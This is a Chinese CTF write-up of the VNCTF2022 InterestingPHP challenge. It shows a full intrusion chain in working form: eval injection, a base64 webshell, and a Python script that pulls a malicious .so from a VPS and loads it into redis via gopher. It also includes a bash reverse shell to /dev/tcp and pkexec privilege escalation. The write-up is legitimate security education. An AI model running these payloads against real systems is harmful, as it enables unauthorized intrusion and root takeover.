查看原文
其他

[VNCTF2022]InterestingPHP复现

H3h3QAQ 看雪学苑 2022-07-01


本文为看雪论坛优秀‍‍‍文章
看雪论坛作者ID:H3h3QAQ


题目打开只有简单的源码:
尝试看一下phpinfo发现被ban了,不过不要紧,我们还有其他的方法可以获取配置信息。
 
比如ini_get_all()
 
 
该函数可以来读取php相关的配置信息,例如disable_functions/disable_class/open_basedir等信息。
 
我们来构造一下,查看一下相关的配置信息
/?exp=var_dump(ini_get_all());
 
可以看到disable_functions/disable_class/open_basedir这些方法都被ban了,但是scandir()和file_put_contents()等都没被ban,这是非常重要的信息,我们可以利用scandir()先看一下当前目录有无其他东西。
/?exp=var_dump(scandir('/var/www/html'));
发现了secret.rdb。
 
能够提取出一串字符串:
ye_w4nt_a_gir1fri3nd

高度怀疑此处是redis的密码,但是redis并不在默认端口6379,此处陷入了僵局。
 
但是我们可以扫一下端口(参照WMCTF2021MakePHPGreatAgainAndAgain),利用如下exp配合file_put_contents()将exp写入服务器,再触发:
//此处我用的官方wp的exp脚本/?exp=eval(file_put_contents("1.php",base64_decode($_POST['a'])));POST:a=PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwojIFBvcnQgc2Nhbgpmb3IoJGk9MDskaTw2NTUzNTskaSsrKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaWYoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9Cg==

可以看到两个端口80和8888存活。
 
利用get_loaded_extensions()查看所有编译并加载的模块,发现了redis。

也就是说,可以利用redis module load rce。
https://xz.aliyun.com/t/5665#toc-13
 
这里按照之前比赛的经验,我想要利用蚁剑的redis插件操作redis,这样会方便很多。
 
我们来写入一个webshell。
?exp=eval(file_put_contents("shell.php",base64_decode($_POST['a']))); POST:a=PD9waHAKZXZhbCgkX1BPU1RbMV0pOw==

尝试用蚁剑来操作redis失败。

 
这里我们可以抓个包看看怎么回事,把蚁剑的流量代理到bp上。
@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split("/;|:/",$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.2877aca83bea";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "3606"."f25bf";echo @asenc($output);echo "a5"."256";}ob_start();try{$cmd=base64_decode("KjINCiQ0DQpBVVRIDQokMjANCnllX3c0bnRfYV9naXIxZnJpM25kDQoqMg0KJDQNCklORk8NCiQ4DQpLZXlzcGFjZQ0K");$conn=@stream_socket_client("tcp://127.0.0.1:8888", $errno, $errstr, $timeout=30);if(!$conn){echo "LUVSUiBDb25uZWN0aW9uIFJlZnVzZWQ=";}else{@fwrite($conn,$cmd,strlen($cmd));$resp=@fread($conn, 8196);@stream_set_blocking($conn,0);while($buf=@fread($conn,8196)){$resp.=$buf;}stream_set_blocking($conn, 1);echo base64_encode($resp);@stream_socket_shutdown($conn,STREAM_SHUT_RDWR);@fclose($conn);};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

可以看到stream_socket_client是蚁剑连接redis的方法,但是该方法在disable_functions中,所以此路不通了。
 
这时候可以利用file_put_contents写so文件,再利用gopher协议RCE然后反弹shell,想比于直接redis交互,就是麻烦了一点。
 
把so文件放在你的vps上,然后用python开一个http服务,然后利用如下exp来写入靶机中。
 
file_put_contents写so文件:
import requests url = "http://7efa8377-35ae-4f24-93f4-161a74c64b77.node4.buuoj.cn:81/?exp=eval($_POST[0]);"headers = {"content-type": "application/x-www-form-urlencoded"}pay = "http://ip/exp.so"payload = ''' function Curl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true ); $result = curl_exec($ch); curl_close($ch); file_put_contents("exp.so",$result); } Curl("''' + pay + '''");'''.strip() data = { 0: payload}r = requests.post(url, data, headers=headers).textprint(r)

可以看到vps这边有一个记录:
 
 
此时so文件写入成功,接下来进行RCE反弹shell。
 
exp:
import requestsfrom urllib import parse url = "http://7efa8377-35ae-4f24-93f4-161a74c64b77.node4.buuoj.cn:81/?exp=eval($_POST[0]);"headers = {"content-type":"application/x-www-form-urlencoded"} pay="""auth ye_w4nt_a_gir1fri3ndmodule load ./exp.sosystem.exec 'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'quit""".replace('\n','\r\n') payload = ''' function Curl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true ); $result = curl_exec($ch); curl_close($ch); if($result!=''){ echo $result; } } Curl("gopher://127.0.0.1:8888/_'''+parse.quote(pay)+'''"); ''' data = { 0:payload} r = requests.post(url,data=data,headers=headers).textprint(r)
 
成功反弹shell,找一下flag。

提示没有权限,此时我们需要找个办法提权一下。
 
运行find / -user root -perm -4000 -print 2>/dev/null看有没有可以利用的地方。
 
 
看到这里,我想到了之前的pkexec提权(CVE-2021-4034)
https://github.com/arthepsy/CVE-2021-4034.git

我们可以尝试一下看看,能否提权,把exp.c文件放到vps让,在靶机里执行curl下载到靶机。
 
 
成功下载并且放到了/tmp目录下,进入目录并且利用gcc编译。
 
 
这里注意,要给权限不然运行不了,给完权限运行一下试试。
 
 
成功提权并且拿到flag。




看雪ID:H3h3QAQ

https://bbs.pediy.com/user-home-921448.htm

*本文由看雪论坛 H3h3QAQ 原创,转载请注明来自看雪社区



# 往期推荐

1.分析一道简单安卓中级题

2.由浅入深理解Kerberos协议

3.虎符网络安全赛道 2022-pwn-vdq-WP解题分析

4.为IDA架设私人lumen服务器

5.分析一个安卓简单CrackMe

6.由浅入深理解Kerberos协议






球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存